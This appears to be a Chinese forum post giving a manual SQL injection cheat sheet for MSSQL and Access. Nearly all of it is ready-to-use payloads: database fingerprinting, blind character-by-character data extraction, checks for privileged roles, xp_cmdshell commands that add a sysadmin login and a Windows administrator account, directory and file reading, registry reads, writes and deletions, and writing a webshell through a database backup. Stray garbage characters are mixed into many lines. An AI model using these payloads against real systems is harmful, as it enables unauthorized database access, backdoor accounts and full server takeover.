手工脚本注入

admin

手工脚本注入
- G# U) ?2 [/ j( A& E! J, i1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符'and [查询条件] and ''='
) I( d8 p  t( K* U/ R/ M0 c) d
  q8 R( H% d6 y$ q5 f$ h' T2 h  q4.搜索时没过滤参数的'and [查询条件] and '%25'='

/ w; u1 k: m2 {+ O* }3 j5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
" g( E3 u4 L" F;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0
1 l. d) `' A2 @( X- r4 C4 M
+ a3 ^& Q" U0 d3 Q/ r" z" ?7.猜字段 ;and (select Count(字段名) from 数据库名)>0
; g. N! Q  ^; j& I0 P, }
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

2 E& U. N( H& g; u2 G6 [% M) a4 U: f9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
  B1 {1 c, D  h8 p
(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
) O. k! I: k1 X! k  ~4 C' `2 H0 K
10.测试权限结构（mssql）
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
0 O3 [# y, ?1 q4 w7 `: @;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

% Y6 s+ e' o3 H7 [2 q2 h- V; F) b11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
0 |% T; E" }0 J/ U( N7 k" Q# t, ]
;exec master.dbo.sp_password null,username,password;--

6 @$ U+ c# }6 B3 o4 m;exec master.dbo.sp_addsrvrolemember sysadmin username;--

, d2 L) H. X0 m* h# e* J& S6 s;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

;exec master.dbo.xp_cmdshell 'net user username password /add';--

# N2 R1 b; V0 z; ~  @  \;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
8 j8 X5 m6 k- \  u' F* {7 l;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
  w! H+ p4 q% @8 i$ ?( X& \0 |;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

" b& B4 z' P9 f* }: c  j13.mssql中的存储过程

4 l% r0 a$ a! Q; R, V; d2 ~% Lxp_regenumvalues 注册表根键, 子键
, a2 o$ L6 o7 S0 T+ n% m;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

' q1 h% U! l1 Bxp_regread 根键,子键,键值名
;exec xp_regread
  w9 r- C: K$ i. _'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
( a7 u* G6 E' h% K  F3 ^( a
xp_regwrite 根键,子键, 值名, 值类型, 值
0 y7 {  R5 c: i值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
! R9 T0 `) e* V8 V;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值

1 C. k- L( u" j+ g3 a' Axp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

' n! `: q- K9 f0 L/ s) ^14.mssql的backup创建webshell
use model
* I- Z: D5 V- A  ^create table cmd(str image);
insert into cmd(str) values ('');
6 ^* m$ [5 \7 o4 X" h/ |8 [backup database model to disk='c:\l.asp';
" P) A, _) y, f1 v  ~! s
- p0 ^" p! ]. G2 O" V$ r15.mssql内置函数
6 u; ?# O- r4 @7 m3 p' j) P! u5 R/ };and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
5 S; q6 X  X9 Q' K6 d5 W7 V  a; O;and (select user_name())>0 爆当前系统的连接用户
( J. m% y/ S3 R6 t% u;and (select db_name())>0 得到当前连接的数据库

/ X' w" P: ?5 |1 @) [% q9 Z16.简洁的webshell

5 k& i+ d9 I0 B: uuse model
% n! C8 I6 v& e0 r
) N3 E/ V* A; S* w9 \+ [/ J. Ocreate table cmd(str image);

; y! @5 P: Q7 R( H, ^4 S. Uinsert into cmd(str) values ('');
' s$ N* [; |0 x4 b
3 t! ?* ]0 u' ?! u$ A% V3 Q2 |backup database model to disk='g:\wwwtest\l.asp';
! ]8 M' t+ O, D& R- O

老男孩

现在很多防注入啊，有其他注入字符码